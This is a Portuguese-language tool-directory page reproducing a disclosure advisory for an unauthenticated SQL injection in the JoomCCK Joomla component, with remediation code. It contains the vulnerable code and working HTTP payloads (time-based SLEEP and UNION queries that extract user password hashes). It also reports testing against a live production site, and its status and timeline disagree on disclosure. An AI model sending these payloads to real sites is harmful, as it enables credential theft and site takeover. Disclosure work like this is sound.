Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-49048-JoomCCK-SQLi — CVE-2026-49048 — JoomCCK 6.4.0 Injeção SQL Não Autenticada (CVSS 9.8) | Kitploit
Ferramentas/GitHubGitHub/kara-git/cve-2026-49048-joomcck-sqli
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoSegurança de Banco de Dados
GitHubkara-git/cve-2026-49048-joomcck-sqli

CVE-2026-49048-JoomCCK-SQLi

CVE-2026-49048 — JoomCCK 6.4.0 Injeção SQL Não Autenticada (CVSS 9.8)

Ver Repositório
122há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-49048 — Injeção SQL Não Autenticada no JoomCCK 6.4.0 (CVSS 9.8)

CVE: CVE-2026-49048
Status: Divulgação pública. Reportado à Equipe de Resposta de Segurança do Joomla (JSST) — Ticket #282420.


Resumo do Aviso

CampoValor
ID do AvisoJOOMCCK-2026-001
CVECVE-2026-49048
ProdutoJoomCCK (com_joomcck) — Content Construction Kit para Joomla
FornecedorJoomCoder — https://www.joomcoder.com
Afetado6.4.0 (mais recente no momento da descoberta; versões 6.x anteriores presumivelmente afetadas)
Versão corrigidaNenhuma no momento da redação
TipoInjeção SQL (CWE-89) via Autorização Ausente (CWE-862)
Autenticação necessáriaNenhuma — não autenticado, pré-autenticação
SeveridadeCrítica — Pontuação Base CVSS 3.1 de 9.8
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Descoberto porKamil Soltanov
Contato[email protected]
Data da descoberta2026-06-22

Resumo

O componente Joomla 4/5/6 JoomCCK expõe uma tarefa de controlador de front-end (task=tags.save) que concatena o parâmetro tag fornecido pelo usuário diretamente no SQL sem escape ou parametrização. O dispatcher MVC personalizado do componente não realiza nenhuma verificação de token CSRF e nenhuma verificação de controle de acesso, tornando a injeção alcançável por um atacante remoto completamente não autenticado.

A exploração bem-sucedida permite acesso total de leitura ao banco de dados do Joomla — incluindo os hashes de senha de #__users — via injeção SQL cega baseada em UNION e baseada em tempo, levando ao comprometimento completo do site.


Causa Raiz — Dois Defeitos Que Se Encadeiam

1. Autorização Ausente no Dispatcher MVC Personalizado (CWE-862)

libraries/mint/mvc/controller/base.php — MControllerBase::execute():

public function execute($task)
{
    $this->task = $task;
    $task = !is_null($task) ? strtolower($task) : '';
    $doTask = $this->taskMap[$task];
    ...
    return $this->$doTask();   // Invoked with no checkToken(), no authorise()
}

O método authorise() na mesma classe é um no-op que retorna incondicionalmente true.
O ponto de entrada components/com_joomcck/joomcck.php chama execute(input->get('task')) sem qualquer login, token ou verificação de ACL → cada método público do controller é uma tarefa não autenticada.

2. Injeção de SQL em tags.save (CWE-89)

components/com_joomcck/models/tags.php — _saveTag():

$tag = $app->input->getString('tag');   // Joomla 'STRING' filter: strips HTML but NOT SQL quotes

$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"';  // INJECTABLE
$exist_item = $this->_getList($query);

// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id;    // INJECTABLE

O filtro de entrada STRING do Joomla remove tags HTML, mas deixa " inalterado — o mesmo caractere usado como delimitador de string SQL aqui. Sair do literal entre aspas injeta SQL arbitrário.


Prova de Conceito

Blind Baseado em Tempo (sem conhecimento prévio necessário)

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com

Esperado: resposta atrasada ≥ 5 segundos (por linha correspondida).

Exfiltração de Dados via UNION

GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com

Evidência de Laboratório Local

O código PoC completo e a transcrição das evidências capturadas estão em poc/.

Principais resultados do laboratório:

Payload (tag=)Resultado
cars (benigno)1 linha retornada — normal
zzz" OR "1"="1" não escapado → todas as linhas retornadas (injeção confirmada)
zzz" UNION SELECT id,username,password FROM jos_users-- -Hash da senha do administrador exfiltrado
zzz" OR SLEEP(3)-- -Resposta atrasada em 9,0 s (3 linhas × 3 s)

O harness de laboratório utiliza o genuíno Joomla\Input\Input::getString() e a consulta _saveTag() literal contra uma instância ativa do MariaDB 11.8.


Impacto

Um atacante remoto não autenticado pode:

  • Ler dados arbitrários do banco de dados Joomla (credenciais, tokens de sessão, PII) → tomada de controle administrativo total
  • Modificar linhas em #__js_res_tags através do UPDATE injetável
  • Encadear com task=tags.delete e task=records.copy (também sem autenticação — mesma falha no dispatcher)

Achado Secundário — Controle de Acesso Quebrado (CWE-862, CVSS ~6,5)

A mesma falha no dispatcher expõe tarefas adicionais não autenticadas:

TarefaEfeito
tags.deleteExcluir qualquer tag sem autenticação
records.copyDuplicar qualquer registro sem autenticação
ajax.category_recordsEnumerar registros por categoria
ajax.tags_listListar todas as tags
ajax.users_filterEnumerar nomes de usuário
ajax.loadfieldparamsDivulgar configuração de campos

Nota: muitas tarefas records.* aplicam ACL internamente via _checkAccess() e não são afetadas.


Remediação

1. Parametrizar todas as consultas (query builder do Joomla):

$db  = $this->getDatabase();
$tag = $app->input->getString('tag');

// SELECT
$query = $db->getQuery(true)
    ->select('a.*')
    ->from($db->quoteName('#__js_res_tags', 'a'))
    ->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));

// UPDATE
$upd = $db->getQuery(true)
    ->update($db->quoteName('#__js_res_tags'))
    ->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
    ->where($db->quoteName('id') . ' = ' . (int) $id);

2. Aplicar autorização no dispatcher — adicione Session::checkToken() e uma verificação de ACL (Factory::getApplication()->getIdentity()->authorise(...)) antes de todas as tarefas que alteram estado, espelhando as proteções já presentes em files.upload.


Cronologia da Divulgação

DataEvento
2026-06-22Vulnerabilidade descoberta e verificada via PoC em laboratório local
2026-06-22Aviso preparado; reportado à Joomla Security Strike Team (JSST) e à VEL
2026-06-23JSST confirmou recebimento — David Jardin, Ticket #282420. Coordenação com o fornecedor (JoomCoder) via JSST
2026-06-25Confirmação em ambiente real num site Joomla de produção: SLEEP(5) → resposta de 115 s; erro MySQL 1222 em UNION (não destrutivo, nenhum dado exfiltrado)
A definirCorreção do fornecedor
A definirAtribuição de CVE
A definirDivulgação pública (janela coordenada de 90 dias)

Referências

  • Fornecedor: https://www.joomcoder.com
  • Joomla VEL (Vulnerable Extensions List): https://vel.joomla.org
  • Joomla JSST: [email protected]
  • CWE-89: Injeção de SQL
  • CWE-862: Autorização Ausente

Sobre o Pesquisador

Pesquisador de segurança independente.
Contato: [email protected]

Baixar ferramenta